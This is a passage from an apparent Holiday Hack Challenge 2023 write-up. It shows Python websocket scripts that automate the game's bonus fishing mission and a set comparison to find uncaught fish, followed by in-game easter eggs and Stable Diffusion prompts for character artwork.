Once again no context was given to ChatGPT
so the script required some fine tuning.
After some more fine tuning the script was finally something reasonable to work with.
Examining traffic to and from websockets shows an initial connection is made to wss://2023.holidayhackchallenge.com/ws
to authenticate a user by sending an authentication message in the form
{"type":"WS_LOGIN","usernameOrEmail":"[USERNAME]","password":"[PASSWORD]"}
.
Upon going to sea thereโs a connection to a new websocket wss://2023.holidayhackchallenge.com/sail
with a specific dockSlip
identifier.
Building this into a full functioning script, ensure you authenticate to the Holiday Hack Challenge main web socket
, before sending a messsage indicating youโve set sail
, retrieving the appropriate dockSlip
identifier, and then sending this to the new web socket which can then be used for fishing.
import asyncio
import requests
import websockets
import json
import re
import sys
from getpass import getpass
async def connect_to_websocket(username,password):
uri = "wss://2023.holidayhackchallenge.com/ws" # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket:
print(f"Connected to {uri}")
# Sending a message to the server
message_to_send = '{"type":"WS_LOGIN","usernameOrEmail":'+'\"'+username+'\","password":\"'+password+'\"}'
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
while True:
message_to_send = '{"type":"heartbeat"}'
await websocket.send(message_to_send)
print(f"Sent: {message_to_send}")
response = await websocket.recv()
print(f"Received: {response}")
if ('WS_OHHIMARK' in response):
message_to_send = '{"type":"setSail"}'
print(f"Sent: {message_to_send}")
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
if ('SET_SAIL' in response):
data = json.loads(response)
print(data['dockSlip'])
if ('PUSH_NAVIGATION' in response):
uri = "wss://2023.holidayhackchallenge.com/sail?dockSlip="+data['dockSlip'] # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket2:
print("Connected to fishing socket!")
message_to_send = "cast"
await websocket2.send(message_to_send)
while True:
message_to_send = '{"type":"heartbeat"}'
await websocket.send(message_to_send)
response = await websocket2.recv()
if ("onTheLine" in response):
data = json.loads(response[11:-1])
if (data['onTheLine']):
message_to_send="reel"
await websocket2.send(message_to_send)
fish_on_line = data['onTheLine']
print(f"Fish on the line: {fish_on_line}")
if ("fishing" and "canFish" and "onTheLine" in response):
data = json.loads(response[11:-1])
if not (data['fishing'] and data['canFish']):
message_to_send = "cast"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
if __name__ == "__main__":
username = input('Enter Username:\n')
password = getpass()
asyncio.get_event_loop().run_until_complete(connect_to_websocket(username,password))
Once connected the script above proceeds to cast
the rod, and upon receiving a message mentioning a fish is onTheLine
, it will reel it in and print the fish name. The process will continue indefinitely ensuring that both sockets remain active.
By logging into the game, moving the boat, and then running the script again, a large amount of fish can be caught by targeting the hot spots
identified previously. The game also sends back a list called fishCaught
noting already caught fish which makes identifying ones of interest easier (in this instance when Iโd reached 168 fish).
To compare already caught fish to the fish remaining, a script was devised with ChatGPT
to get the names of all fish
based on their mask files into a sorted array
.
After retrieving this array a simple script was developed to compare 2
sets of data and determine what fish were still remaining.
list2 = set(['Aquatic JellyPuff Doughnut Shark', 'Bellychuckle Balloonfish', 'Biscuit Bugle-Tail Fish', 'Blibbering Blubberwing', 'Bubblegum Ballistic Barracuda', 'Bubblegum Blowfish Beetle Bug', 'Bubblegum Blowfish-Bee', 'Bubblegum Bumblefin', 'Bubblerooni WhiskerWaffle', 'BugBrella Aquacake', 'BumbleSquid Donutella', 'Bumblebee, Pizza-fin Jamboree', 'Bumbleberry Floatfish', 'Bumbleberry Gilled Glider', 'Bumbleberry Glitterfin', 'Bumbleberry Poptarticus', 'Bumbleberry Rainbow Flicorn Fish', 'Bumbleberry Snorkelsnout', 'Bumblecado Finstache Hybridsail', 'Bumblefin Toffee Torpedo', 'Candyfloss Clownphino', 'Caramelotus Humming Float', 'Choco-Bumblefin Parrot Trout', 'ChocoSeahorsefly', 'Chucklefin Clownfish', 'Confetti Clownfrippery Fish', 'Cuckoo Bubblegum Unicornfish', 'Dandy Candy Goby', 'Fantabulous Fry-Sherbert Aquapine', 'Fantabulous Rainbow Polka Poptartfish', 'Fantail Flutterfin', 'Fantaray Flakefin', 'Fantasia Fluffernutter Finfish', 'Fantastical Flapjack Flipperfin', 'Fantastical Fusilloni Flounderfish', 'Fizzgiggle Frizzlefin', 'FizzleWing PuffleGill', 'Flamango-Buzzling Sushi Swimmer', 'Flamingo Flapjack Finaticus', 'Flippity Flan Flopper', 'Fluffernutter Pufferpine', 'Fluffle-Muffin Sparklefin', 'Flutterfin Bubblegum Gumball', 'Flutterfin Cupcake Goby', 'Flutterfin Falafeluncher', 'Flutterfin Hotcheeto Penguinfish', 'Flutterfin Pancake Puffer.', 'Flutterfin Pizzacrust Glimmertail', 'Flutterfin Pizzapuffer', 'Flutterfin Rainbow-Roll', 'Flutterfin Scoopscale', 'Flutterglaze Bumblefin', 'Frizzle Fish', 'Frizzle Frazzle Fly-n-Fish', 'Frizzle Fringe Flutterfin', 'Frizzle-Frizzled Jambalaya Jellyfish', 'Frizzleberry Flapjack Fish', 'Frizzling Bubblehopper', 'Frosted Donut Jellyfluff Puffer', 'Frosted Jelly Doughnut Pegasus Finfish', 'Funfetti Flick-Flick', 'Gelatina Ringletfin', 'Gelatino Floatyfin', 'Glaze Meringuelle', 'Glittering Gummy Guppy', 'Glittering Gummy Whipray', 'Gumball Glooperfish', 'Gumball Guppygator', 'Gumbubble Guppy', 'Gummy Fizzler', 'Gummybrella Anemofin', 'Hatwearing Hippofish', 'Jamboree Jellofish', 'Jamboree Jellydonut Jellyfish Trout', 'Jamboree Jellywing', 'Jangleroo Snackfin', 'Jelly-Feather Macaroon Guppy', 'JellyChip CuddleSwimmer', 'Jester Gumball Pufferfish', 'JibberJelly Sundae Swimmer', 'Jingle JellyFroth Fish', 'Jinglefin Jellyfrizzle', 'Jolly Jambalaya Jubilee Fish', 'Jolly Jellydozer', 'Jolly Jellyjam Fish', 'Jolly Jellypeanut Fish', 'Jovian Jamboree Jellydonut Jellyfish', 'JubiliFLOPinear Snorkeldonut', 'Laughter Ligrolomia', 'Lounging Liquorice Crustacean-Nosed Berryfin', 'Marshmallow Pogo-Starfish', 'Marzipoisson Popsicala', 'Mermacorn Fish', 'Oreo OctoPufferRock', 'Piscis Cyberneticus Skodo', 'Pistachio Pizzafin Puffinfly', 'Pizzadillo Glitter-Guppy', 'Pizzafin Flutterbub', 'Pizzafly Rainbowgill', 'Pizzamarine Popcorn Puffer', 'Plaid Zephyr Cuddlefin', 'Polka-Pop CandyFloss Fish', 'Polkadot Pancake Puffer', 'Pudding Puff ParrotMoth Fish', 'Puzzletail Splashcake', 'Rainbow Gummy Scalefish', 'Rainbow Jelly-Bumble Shark', 'Rainbow Jelly-Dough Fish', 'Rhinoceros Beetle Bumble Tuna', 'Sherbet Swooshfin', 'Sparkleberry Gobblefin', 'Sparkling Gumbubble Piscadot', 'Sparkling Pizzafin Pixie-fish', 'Speckled Toastfin Snorkelback', 'Splashtastic Bagelback Rainbownose', 'Splendiferous Ribbontail', 'Spotted Sprinkledonut Puffer', 'Sprinkfish', 'Sprinkle Starfish Sardine', 'Stripe-tailed Pepperoni Puffer', 'Strudel Scuttle Scalefish', 'Sushinano Sweetsquid', 'The Bubblegum Bumblefin', 'The Bubblegum Confeetish', 'The Bumblebee Doughnut Delphin', 'The Bumblebelly Polkadot Glaze-fish', 'The Bumbleberry Guppiesaurus', 'The Burgerwing Seahorse', 'The Butterfleagleberry Seahorse', 'The ChocoChandelier Goldnipper', 'The Chocolate Star Gingo Guppy', 'The Fantabulous Gala Glazed-Guppy', 'The Fantastical Fizzbopper', 'The Flamboyant Flutter-fish', 'The Flamingotuna McSprinklefin', 'The Flutterfin Pastry Puffer', 'The Frambuzzle Flickerfin', 'The Gumball Guppy', 'The Hummingbrewster BumbleFlish', 'The Jester Jellycarafe', 'The Lucid Lollyscale', 'The Polka Dotted Jello-fish', 'The Polka-Dot Pudding Puff', 'The Polka-Dot-Propeller Puffling Fish', 'The Pristimaela Parfait Pengu-Angel', 'The Rainbow Jelibelly Floatfish', 'The Spangled Jelly-Tortle Ripplefin', 'The Speckled Pizzafin Fizzflyer', 'The Speckled Whisker-Spoon Puffer', 'The Splendiferous Spaghetti Seahorsicle', 'The Splendiferous Spaghetti Starfin', 'The Spotted Flutterfin Pastrytetra', 'The Whirling Donut Jellygator', 'The Whiskered Blubberberry Flapper', 'The Whiskered Melonfin', 'The Whiskered Watermelon Pufferfish', 'TruffleBugle ZephyrFish', 'Twinkling Tortellini Trouterfly', 'Twirly Finny Cakeling', 'Whirlygig Polka-Dotted Jelly-Donut Pufferfish', 'Whiskered Jumblefish', 'Whiskered Lollipop Loonfish', 'Whiskered Rainbow Glidleberry', 'Whiskered Sprinkle Glider', 'Whiskered Whizzler', 'Whiskerfroth Flutterfin', 'Whistlefin Wafflegill', 'Whizzbizzle Poptuckle'])
list1 = set(['Aquatic JellyPuff Doughnut Shark', 'Beatleberry Fluff Guppy', 'Bellychuckle Balloonfish', 'Biscuit Bugle-Tail Fish', 'Blibbering Blubberwing', 'Bubblegum Ballistic Barracuda', 'Bubblegum Blowfish Beetle Bug', 'Bubblegum Blowfish-Bee', 'Bubblegum Bumblefin', 'Bubblerooni WhiskerWaffle', 'BugBrella Aquacake', 'BumbleSquid Donutella', 'Bumblebee, Pizza-fin Jamboree', 'Bumbleberry Floatfish', 'Bumbleberry Gilled Glider', 'Bumbleberry Glitterfin', 'Bumbleberry Poptarticus', 'Bumbleberry Rainbow Flicorn Fish', 'Bumbleberry Snorkelsnout', 'Bumblecado Finstache Hybridsail', 'Bumblefin Toffee Torpedo', 'Candyfloss Clownphino', 'Caramelotus Humming Float', 'Choco-Bumblefin Parrot Trout', 'ChocoSeahorsefly', 'Chucklefin Clownfish', 'Confetti Clownfrippery Fish', 'Cuckoo Bubblegum Unicornfish', 'Dandy Candy Goby', 'Fantabulous Fry-Sherbert Aquapine', 'Fantabulous Rainbow Polka Poptartfish', 'Fantail Flutterfin', 'Fantaray Flakefin', 'Fantasia Fluffernutter Finfish', 'Fantastical Flapjack Flipperfin', 'Fantastical Fusilloni Flounderfish', 'Fizzgiggle Frizzlefin', 'FizzleWing PuffleGill', 'Flamango-Buzzling Sushi Swimmer', 'Flamingo Flapjack Finaticus', 'Flippity Flan Flopper', 'Fluffernutter Pufferpine', 'Fluffle-Muffin Sparklefin', 'Flutterfin Bubblegum Gumball', 'Flutterfin Cupcake Goby', 'Flutterfin Falafeluncher', 'Flutterfin Hotcheeto Penguinfish', 'Flutterfin Pancake Puffer.', 'Flutterfin Pizzacrust Glimmertail', 'Flutterfin Pizzapuffer', 'Flutterfin Rainbow-Roll', 'Flutterfin Scoopscale', 'Flutterglaze Bumblefin', 'Frizzle Fish', 'Frizzle Frazzle Fly-n-Fish', 'Frizzle Fringe Flutterfin', 'Frizzle-Frizzled Jambalaya Jellyfish', 'Frizzleberry Flapjack Fish', 'Frizzling Bubblehopper', 'Frosted Donut Jellyfluff Puffer', 'Frosted Jelly Doughnut Pegasus Finfish', 'Funfetti Flick-Flick', 'Gelatina Ringletfin', 'Gelatino Floatyfin', 'Glaze Meringuelle', 'Glittering Gummy Guppy', 'Glittering Gummy Whipray', 'Gumball Glooperfish', 'Gumball Guppygator', 'Gumbubble Guppy', 'Gummy Fizzler', 'Gummybrella Anemofin', 'Hatwearing Hippofish', 'Jamboree Jellofish', 'Jamboree Jellydonut Jellyfish Trout', 'Jamboree Jellywing', 'Jangleroo Snackfin', 'Jelly-Feather Macaroon Guppy', 'JellyChip CuddleSwimmer', 'Jester Gumball Pufferfish', 'Jester Jellyfin', 'JibberJelly Sundae Swimmer', 'Jingle JellyFroth Fish', 'Jinglefin Jellyfrizzle', 'Jolly Jambalaya Jubilee Fish', 'Jolly Jellydozer', 'Jolly Jellyjam Fish', 'Jolly Jellypeanut Fish', 'Jovian Jamboree Jellydonut Jellyfish', 'JubiliFLOPinear Snorkeldonut', 'Laughter Ligrolomia', 'Lounging Liquorice Crustacean-Nosed Berryfin', 'Marshmallow Pogo-Starfish', 'Marzipoisson Popsicala', 'Mermacorn Fish', 'Oreo OctoPufferRock', 'Piscis Cyberneticus Skodo', 'Pistachio Pizzafin Puffinfly', 'Pizzadillo Glitter-Guppy', 'Pizzafin Flutterbub', 'Pizzafly Rainbowgill', 'Pizzamarine Popcorn Puffer', 'Plaid Zephyr Cuddlefin', 'Polka-Pop CandyFloss Fish', 'Polkadot Pancake Puffer', 'Pudding Puff ParrotMoth Fish', 'Puzzletail Splashcake', 'Rainbow Gummy Scalefish', 'Rainbow Jelly-Bumble Shark', 'Rainbow Jelly-Dough Fish', 'Rhinoceros Beetle Bumble Tuna', 'Sherbet Swooshfin', 'Sparkleberry Gobblefin', 'Sparkling Gumbubble Piscadot', 'Sparkling Pizzafin Pixie-fish', 'Speckled Toastfin Snorkelback', 'Splashtastic Bagelback Rainbownose', 'Splendiferous Ribbontail', 'Spotted Sprinkledonut Puffer', 'Sprinkfish', 'Sprinkle Starfish Sardine', 'Stripe-tailed Pepperoni Puffer', 'Strudel Scuttle Scalefish', 'Sushinano Sweetsquid', 'The Bubblegum Bumblefin', 'The Bubblegum Confeetish', 'The Bumblebee Doughnut Delphin', 'The Bumblebelly Polkadot Glaze-fish', 'The Bumbleberry Guppiesaurus', 'The Burgerwing Seahorse', 'The Butterfleagleberry Seahorse', 'The ChocoChandelier Goldnipper', 'The Chocolate Star Gingo Guppy', 'The Fantabulous Gala Glazed-Guppy', 'The Fantastical Fizzbopper', 'The Flamboyant Flutter-fish', 'The Flamingotuna McSprinklefin', 'The Flutterfin Pastry Puffer', 'The Frambuzzle Flickerfin', 'The Gumball Guppy', 'The Hummingbrewster BumbleFlish', 'The Jester Jellycarafe', 'The Lucid Lollyscale', 'The Polka Dotted Jello-fish', 'The Polka-Dot Pudding Puff', 'The Polka-Dot-Propeller Puffling Fish', 'The Pristimaela Parfait Pengu-Angel', 'The Rainbow Jelibelly Floatfish', 'The Spangled Jelly-Tortle Ripplefin', 'The Speckled Pizzafin Fizzflyer', 'The Speckled Whisker-Spoon Puffer', 'The Splendiferous Spaghetti Seahorsicle', 'The Splendiferous Spaghetti Starfin', 'The Spotted Flutterfin Pastrytetra', 'The Whirling Donut Jellygator', 'The Whiskered Blubberberry Flapper', 'The Whiskered Melonfin', 'The Whiskered Watermelon Pufferfish', 'TruffleBugle ZephyrFish', 'Twinkling Tortellini Trouterfly', 'Twirly Finny Cakeling', 'Whirly Snuffleback Trout', 'Whirlygig Polka-Dotted Jelly-Donut Pufferfish', 'Whiskered Jumblefish', 'Whiskered Lollipop Loonfish', 'Whiskered Rainbow Glidleberry', 'Whiskered Sprinkle Glider', 'Whiskered Whizzler', 'Whiskerfroth Flutterfin', 'Whistlefin Wafflegill', 'Whizzbizzle Poptuckle'])
print(list1-list2)
This resulted in 3 fish of interest.
root@mintsec:~/Desktop/Kringlecon2023# python3 ./comparing.py
{'Beatleberry Fluff Guppy', 'Jester Jellyfin', 'Whirly Snuffleback Trout'}
Refining the script slightly to account for this, only once the fish of interest were caught would they be displayed. This made leaving the script idle an easy way to catch the required fish.
import asyncio
import requests
import websockets
import json
import re
import sys
from getpass import getpass
async def connect_to_websocket(username,password):
uri = "wss://2023.holidayhackchallenge.com/ws" # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket:
print(f"Connected to {uri}")
# Sending a message to the server
message_to_send = '{"type":"WS_LOGIN","usernameOrEmail":'+'\"'+username+'\","password":\"'+password+'\"}'
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
while True:
message_to_send = '{"type":"heartbeat"}'
await websocket.send(message_to_send)
print(f"Sent: {message_to_send}")
response = await websocket.recv()
print(f"Received: {response}")
if ('WS_OHHIMARK' in response):
message_to_send = '{"type":"setSail"}'
print(f"Sent: {message_to_send}")
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
if ('SET_SAIL' in response):
data = json.loads(response)
print(data['dockSlip'])
if ('PUSH_NAVIGATION' in response):
uri = "wss://2023.holidayhackchallenge.com/sail?dockSlip="+data['dockSlip'] # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket2:
message_to_send = "cast"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
fish_list = ['Beatleberry Fluff Guppy', 'Jester Jellyfin', 'Whirly Snuffleback Trout']
while True:
response = await websocket2.recv()
if ("onTheLine" in response):
data = json.loads(response[11:-1])
length = len(data['fishCaught'])
#for item in data['fishCaught']:
# fish_list.append(item['name'])
#print(sorted(set(fish_list)))
#print(f"Caught Fish: {length}")
if (data['onTheLine']):
fish_on_line = data['onTheLine']
if fish_on_line in fish_list:
print(f"Fish on the line: {fish_on_line}")
message_to_send="reel"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
if ("fishing" and "canFish" and "onTheLine" in response):
data = json.loads(response[11:-1])
if not (data['fishing'] and data['canFish']):
message_to_send = "cast"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
if __name__ == "__main__":
username = input('Enter Username:\n')
password = getpass()
asyncio.get_event_loop().run_until_complete(connect_to_websocket(username,password))
Returning to Poinsettia McMittens
completes the final mission.
This also results in a beautiful Pescadex
where all fish have been caught.
โ Secrets and ๐ฅ Easter Eggs/References
๐ Jason is a fish
Along the beach of Coggoggle Marina
on Steampunk Island
a fish can be found on the beach. This is in fact Jason
this year, soaking up the sun!
๐ฎ Gotta catch emโ all
Throughout the bonus fishing mission is reference to a Pescadex
. This is a play on words to the famous Pokรฉdex
which keeps track of species of Pokรฉmon
in the famous video game and tv series Pokรฉmon
.
๐ฎ The Titanic
Within Geese Islands is a number of advertisements which come up in-game, one of which has the name rek.jpg
shown below. This is titled GEESE ISANDS IN THE PACIFIC
, and appears to be paying homage to the wreck of the Titanic
which sunk in the Pacific
ocean.
๐ญ Space Telescope
At Cape Cosmic Inside Fence
on Space Island
is a telescope that can be interacted with.
Zooming in enough you can see Jack Frost
โs satellite in the sky before completing Camera Access
.
Upon completing Camera Access
the telescope now shows Jack Frost
looking out the window.
This is then gone upon completing Diversion
and seeing Jack crash back down to Earth.
๐ค AI Generated Artwork
As a bit of fun we can leverage Stable Diffusion and a ML model such as DreamShaper to envision Jack Frost, Santa, his elves, and some of the various other inhabitants of Geese Islands in a totally new way.
Santa
Jack Frost
Jingle Ringford
Goose of Christmas Island
Morcel Nougat
Ginger Breddie and Bow Ninecandle (Yes theyโre identical!)
Elf the Dwarf
Chimney Scissorsticks
Henry
Prompt:
Smiling chibi green cute boy elf who is wearing orange clothes. cute elf is holding a tool. 4k, HD, realistic lighting, cute starlike anime eyes, green skin
Negative prompt: mutant, belt, stick, leaf, pink, girl, knife, beanie, white, long hair, sideburn, outline, blue
Steps: 31, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4
Wombley Cube
Prompt:
Frowning matte green alien male elf with no hair except a very short white beard who is wearing white clothes and long pink pants. Elf has a purple beanie. 4k, HD, green lighting, eyes, purple belt.
Negative prompt: sword, lady, mutant
Steps: 30, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4
Alabaster Snowball
Prompt:
christmas matte purple alien male with round glasses and no hair except a very short white beard who is wearing green clothes and green pants. male has a green beanie. 4k, HD, green lighting, eyes. green pants
Negative prompt: sword, lady, mutant, blue pants, button, trousers
Steps: 30, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4
๐ Final Notes
Iโd like to close by giving my thanks to this yearโs speakers, HHC Team, challenge developers, and other members of the concierge team, in addition to giving my congratulations to those who made it through the challenges presented this year.